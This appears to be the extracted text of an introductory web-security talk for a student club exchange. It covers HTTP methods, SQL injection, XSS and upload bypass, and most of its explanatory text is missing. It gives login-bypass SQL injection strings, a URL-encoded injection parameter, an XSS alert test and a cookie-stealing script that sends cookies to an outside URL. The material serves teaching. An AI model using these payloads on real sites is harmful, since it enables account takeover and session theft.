中興資訊科學研習社x逢甲黑客社 交流

1. Web Sec Intro
jyny @ NCHUIT

2. ( )

3. Web Sec
( XD)

4. :)
hello world :)

5. About
• jyny
•
•
•
•
•
•
• TDOH
• jyny.tw
• about.me/jyny

6. • HTTP Method
• SQL Injection
• XSS
•

8. HTTP Method
( )

9. HTTP Method
• GET
• POST
• etc.

10. HTTP Method
• GET
• HTTP Request
• Enter

11. HTTP Method
• POST
•
• " "," "

12. m(_ _)m

13. what??

14. ?=

15. GET POST
• key value
• url.com?key=value
• &
• % Url encode

16. HTTP Method
•
• or
• g0t.pw/http.php

18. SQL Injection

19. SQL Injection
• SQL
• SQL
• OWASP Top 10
•

20. SQL Injection
• GET POST DB
• server
• Server SQL

21. ....

22. SQL Injection
• PHP query

23. SQL Injection
•
• username = jyny
• password = pwd

24. SQL Injection
• SQL query

25. Orz

26. But

27. SQL Injection
•
• username = 1' OR uid='1'/*
• password = */ OR password='

29. SQL Injection
• SQL query

30. SQL Injection
• SQL query
• query

31. ....

32. SQL Injection

33. SQL Injection
•
• user=%27%20or%20%27%27%20%3D
%20%27%27%20--&pass=aaaaaaa
• URL encoding
• %27 %20 %3d

34. SQL Injection
•

35. SQL Injection
•
•

36. XD

37. SQL Injection
•
•

38. SQL Injection
• SQL
•
•

39. SQL Injection
• SQL Injection
• sqlmap

41. XSS

42. XSS
• Cross-site scripting
•
• OWASP Top 10

43. XSS
•
<script>...</script>
•
• WOW!

44. XSS
• Server
•
•

45. XSS
•
• XD

46. XSS
•
• g0t.pw/xhttp.php?%3Cscript%3Ealert(1)%3B%3C
%2Fscript%3E
• Orz
•

47. XSS
•
•
• <script>
document.write('<img src="http://url?cookie=' +
document.cookie + '&location=' +
document.location + '" />');
</script>

48. XSS
• ?
• request
• cookie
• Cookie

49. Cookie

50. XSS
• Cookie
• Session
•

52. upload
•
• %00
•
•

53. • code injection
• comment injection
•
•

54. Orz

55. •
•
•

56. Reference
• http://www.slideshare.net/chivincent/sql-injection-
in-ttu
• https://gist.github.com/Inndy/
654aaf98cb260b75b8f3
• https://github.com/Jyny/pasc2at
• https://securityreactions.tumblr.com/

57. THX